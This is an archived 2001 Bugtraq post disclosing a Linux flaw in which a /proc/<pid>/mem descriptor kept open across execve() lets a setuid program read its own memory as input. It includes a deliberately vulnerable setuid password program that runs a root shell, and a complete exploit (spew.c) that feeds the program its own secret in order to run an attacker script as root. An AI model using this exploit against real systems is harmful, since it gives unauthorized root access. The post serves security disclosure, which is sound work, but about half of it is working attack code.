6677189 2001-06-28 01:56 +1200  /87 rader/  <zen-parse@gmx.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-27  23:10  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17643>
Ärende: reading from execve()ed setuid memory
------------------------------------------------------------
From: <zen-parse@gmx.net>
To: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0106280135520.12274-100000@clarity.local>

Posted to bugzilla.redhat.com: Tue, 15 May 2001 06:43:27 -0400
This was then made unaccessable, and I've seen nothing that looks like
a fix yet.

A month and a half seems like long enough to work it out.

Contents of https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=40658
as posted before the page was made accessible, with a slight fix.

It is possible (under certain circumstances) to read from
/proc/$$/mem by close()ing fd 0, and open()ing it with
/proc/<curpid>/mem.  after opening to it, lseek()ing to the memory
offset in the process you want to read from will cause the program to
receive as input the text at that position when it read()s from fd 0.

(eg: the /proc/<curpid>/mem file handle remains open through the execve()
 and the setuid process will have permission to read from it.)

This doesn't seem to be very secure behaviour. (Not sure how to fix
it, but is possible to exploit a seemingly secure, although badly
written, program with this method.)

The sample program simulates a password program. The correct password
is a 16 character sequence read from /dev/random, however anything
could be substituted, as long as it is in memory before the read is
done, and is in the same form as the input it is to be compared with.

This method could also be used to discover any data a program has in
memory, as long as it is usually possible to somehow retrieve the
information you typed outside the program.

/**********************************************
 ** vuln-prog.c - chown root:root, chmod u+s **
 **********************************************/

char *password, *input;
main(int argc,char*argv[])
{
 int fd,count;
 if(0>(fd=open("/dev/urandom",0)))exit(1);//check for resource starvation
 password=(char*)malloc(17);
 read(fd,password,16);
 if(close(fd))exit(1);
 password[16]=0;
 input=(char*)malloc(17);
 for(count=0;count<16;count++)input[count]=getchar();
 input[count]=0;
 for(count=0;count<16;count++)if(input[count]!=password[count])exit(1);
 setreuid(0,0);
 execl("/bin/bash","sh","-c",argv[1],0);
}

EOF


exploit:-

/* spew.c */
#include <stdio.h>
/* to get the address, ltrace a copy of the program as a normal user,
   or brute force it over the expected range. */

#define WHERETOREAD [the address malloced for password by vuln-prog]
// use ltrace on a non setuid copy of the program, or bruteforce it.
main()
{
 char y[1000];
 FILE *f;
 int p;
 p=getpid();
 sprintf(y,"/proc/%d/mem",p);
 close(0);
 f=fopen(y,"r");
 fseek(f,WHERETOREAD,SEEK_SET);
 execl("/tmp/vuln-prog","scary","/tmp/myscript",0);
}

EOF

 -- zen-parse
(6677189) / <zen-parse@gmx.net>/----------(Ombruten)